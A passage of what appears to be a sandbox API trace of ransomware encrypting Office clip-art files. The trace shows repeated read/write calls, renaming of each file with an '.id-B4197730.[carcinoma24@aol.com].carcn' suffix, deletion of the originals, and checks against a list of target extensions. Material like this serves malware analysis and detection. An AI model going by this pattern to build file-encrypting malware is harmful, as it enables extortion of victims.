0x0 [0285.125] ReadFile (in: hFile=0x544, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xfc0, lpOverlapped=0x0) returned 1 [0285.136] WriteFile (in: hFile=0x540, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfd0, lpOverlapped=0x0) returned 1 [0285.137] ReadFile (in: hFile=0x544, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.137] WriteFile (in: hFile=0x540, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.137] SetEndOfFile (hFile=0x540) returned 1 [0285.138] CloseHandle (hObject=0x540) returned 1 [0285.138] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.138] SetEndOfFile (hFile=0x544) returned 1 [0285.141] CloseHandle (hObject=0x544) returned 1 [0285.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.141] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0285.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0285.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0285.142] lstrlenW (lpString=".doc") returned 4 [0285.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.142] lstrlenW (lpString=".docx") returned 5 [0285.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.142] lstrlenW (lpString=".pdf") returned 4 [0285.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.142] lstrlenW (lpString=".xls") returned 4 [0285.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.142] lstrlenW (lpString=".xlsx") returned 5 [0285.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.142] lstrlenW (lpString=".ppt") returned 4 [0285.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0285.143] lstrlenW (lpString=".zip") returned 4 [0285.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.143] lstrlenW (lpString=".rar") returned 4 [0285.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.143] lstrlenW (lpString=".bz2") returned 4 [0285.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.143] lstrlenW (lpString=".7z") returned 3 [0285.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0285.143] lstrlenW (lpString=".dbf") returned 4 [0285.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0285.143] lstrlenW (lpString=".1cd") returned 4 [0285.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0285.143] lstrlenW (lpString=".jpg") returned 4 [0285.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.144] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=4340) returned 1 [0285.144] CloseHandle (hObject=0x544) returned 1 [0285.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0285.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0285.150] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.150] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.151] GetLastError () returned 0x0 [0285.151] ReadFile (in: hFile=0x544, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x10f4, lpOverlapped=0x0) returned 1 [0285.167] WriteFile (in: hFile=0x540, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1100, lpOverlapped=0x0) returned 1 [0285.168] ReadFile (in: hFile=0x544, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.168] WriteFile (in: hFile=0x540, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.168] SetEndOfFile (hFile=0x540) returned 1 [0285.168] CloseHandle (hObject=0x540) returned 1 [0285.168] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.168] SetEndOfFile (hFile=0x544) returned 1 [0285.171] CloseHandle (hObject=0x544) returned 1 [0285.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.345] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0285.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0285.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0285.404] lstrlenW (lpString=".doc") returned 4 [0285.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.404] lstrlenW (lpString=".docx") returned 5 [0285.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.404] lstrlenW (lpString=".pdf") returned 4 [0285.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.404] lstrlenW (lpString=".xls") returned 4 [0285.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.404] lstrlenW (lpString=".xlsx") returned 5 [0285.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.404] lstrlenW (lpString=".ppt") returned 4 [0285.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0285.404] lstrlenW (lpString=".zip") returned 4 [0285.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.404] lstrlenW (lpString=".rar") returned 4 [0285.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.405] lstrlenW (lpString=".bz2") returned 4 [0285.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.405] lstrlenW (lpString=".7z") returned 3 [0285.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0285.405] lstrlenW (lpString=".dbf") returned 4 [0285.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0285.405] lstrlenW (lpString=".1cd") returned 4 [0285.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0285.405] lstrlenW (lpString=".jpg") returned 4 [0285.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0285.406] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7098) returned 1 [0285.406] CloseHandle (hObject=0x560) returned 1 [0285.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0285.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0285.407] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.407] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.716] GetLastError () returned 0x0 [0285.716] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1bba, lpOverlapped=0x0) returned 1 [0285.728] WriteFile (in: hFile=0x4ac, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0285.729] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.729] WriteFile (in: hFile=0x4ac, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.729] SetEndOfFile (hFile=0x4ac) returned 1 [0285.729] CloseHandle (hObject=0x4ac) returned 1 [0285.730] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.730] SetEndOfFile (hFile=0x560) returned 1 [0285.732] CloseHandle (hObject=0x560) returned 1 [0285.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0285.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0285.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0285.735] lstrlenW (lpString=".doc") returned 4 [0285.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.735] lstrlenW (lpString=".docx") returned 5 [0285.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.735] lstrlenW (lpString=".pdf") returned 4 [0285.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.735] lstrlenW (lpString=".xls") returned 4 [0285.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.736] lstrlenW (lpString=".xlsx") returned 5 [0285.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.736] lstrlenW (lpString=".ppt") returned 4 [0285.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0285.736] lstrlenW (lpString=".zip") returned 4 [0285.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.736] lstrlenW (lpString=".rar") returned 4 [0285.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.736] lstrlenW (lpString=".bz2") returned 4 [0285.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.736] lstrlenW (lpString=".7z") returned 3 [0285.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0285.736] lstrlenW (lpString=".dbf") returned 4 [0285.736] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0285.736] lstrlenW (lpString=".1cd") returned 4 [0285.736] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0285.736] lstrlenW (lpString=".jpg") returned 4 [0285.736] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0285.737] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6016) returned 1 [0285.737] CloseHandle (hObject=0x560) returned 1 [0285.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0285.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0285.738] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.738] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.739] GetLastError () returned 0x0 [0285.739] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1780, lpOverlapped=0x0) returned 1 [0285.800] WriteFile (in: hFile=0x4ac, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1790, lpOverlapped=0x0) returned 1 [0285.801] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.801] WriteFile (in: hFile=0x4ac, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.802] SetEndOfFile (hFile=0x4ac) returned 1 [0285.802] CloseHandle (hObject=0x4ac) returned 1 [0285.802] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.802] SetEndOfFile (hFile=0x560) returned 1 [0285.809] CloseHandle (hObject=0x560) returned 1 [0285.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0285.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0285.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0285.810] lstrlenW (lpString=".doc") returned 4 [0285.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.810] lstrlenW (lpString=".docx") returned 5 [0285.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.810] lstrlenW (lpString=".pdf") returned 4 [0285.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.810] lstrlenW (lpString=".xls") returned 4 [0285.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.811] lstrlenW (lpString=".xlsx") returned 5 [0285.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.811] lstrlenW (lpString=".ppt") returned 4 [0285.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0285.811] lstrlenW (lpString=".zip") returned 4 [0285.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.811] lstrlenW (lpString=".rar") returned 4 [0285.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString=".bz2") returned 4 [0285.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString=".7z") returned 3 [0285.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0285.811] lstrlenW (lpString=".dbf") returned 4 [0285.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0285.811] lstrlenW (lpString=".1cd") returned 4 [0285.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0285.811] lstrlenW (lpString=".jpg") returned 4 [0285.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0285.812] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=5958) returned 1 [0285.812] CloseHandle (hObject=0x560) returned 1 [0285.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220 [0285.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0285.813] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.813] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.814] GetLastError () returned 0x0 [0285.814] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1746, lpOverlapped=0x0) returned 1 [0286.095] WriteFile (in: hFile=0x4ac, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1750, lpOverlapped=0x0) returned 1 [0286.096] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.096] WriteFile (in: hFile=0x4ac, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0286.096] SetEndOfFile (hFile=0x4ac) returned 1 [0286.103] CloseHandle (hObject=0x4ac) returned 1 [0286.108] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.108] SetEndOfFile (hFile=0x560) returned 1 [0286.125] CloseHandle (hObject=0x560) returned 1 [0286.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 